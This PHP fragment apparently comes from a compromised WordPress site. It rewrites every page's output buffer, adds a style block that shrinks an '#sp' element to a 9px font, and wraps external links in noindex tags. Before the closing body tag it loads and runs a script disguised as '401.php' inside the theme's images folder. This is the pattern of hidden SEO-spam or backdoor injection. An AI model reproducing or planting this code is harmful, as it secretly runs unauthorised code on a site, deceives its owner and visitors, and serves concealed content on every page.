$contents = ob_get_contents();
ob_end_clean();
$new_contents = "";
$sp_script = $_SERVER['DOCUMENT_ROOT'].'/wp-content/themes/default/images/401.php';
$style="<style type=\"text/css\">\nhtml, body {\n\tpadding: 0;\n\tmargin: 0;\n\theight: 100%;\n}\n\n";
$style.="#sp, #sp a {\n\tfont-size: 9px;\n\tcolor: #3E8535;\n\tborder-bottom: none;\n\tclear: both;\n}\n</style>\n\n";
while(is_integer(strpos($contents,"<a ")) && is_integer(strpos($contents,"</a>")))
{
$new_contents.=substr($contents,0,strpos($contents ,"<a "));
$contents=substr($contents,strpos($contents,"<a "));
$ahref = substr($contents,0,strpos($contents,"</a>")+4);
$contents=substr($contents,strpos($contents,"</a>")+4);
if (!strpos($ahref,"href=\"http://".$_SERVER['HTTP_HOST']) && !strpos($ahref,"href=\"http://www.".$_SERVER['HTTP_HOST']) && !strpos($ahref,"href='http://".$_SERVER['HTTP_HOST']) &&
!strpos($ahref,"href='http://www.".$_SERVER['HTTP_HOST']) && strpos($ahref,"http"))
{ $ahref=str_replace("<a ","<noindex><a ",$ahref); $ahref=str_replace("</a>","</a></noindex>",$ahref);$ahref=str_replace("<\\/a>","<\\/a></noindex>",$ahref); }
$new_contents.= $ahref;
}
$new_contents.=$contents;
if (strpos($new_contents,"</body>") && strpos($new_contents,"</head>"))
{
$new_contents = str_replace("</head>",$style."</head>",$new_contents);
$new_contents = str_replace("charset=iso-8859-1","charset=utf-8",$new_contents);
echo substr($new_contents,0,strpos($new_contents,"</body>"));
require_once($sp_script);
echo substr($new_contents,strpos($new_contents,"</body>"));
}
else { echo $new_contents; }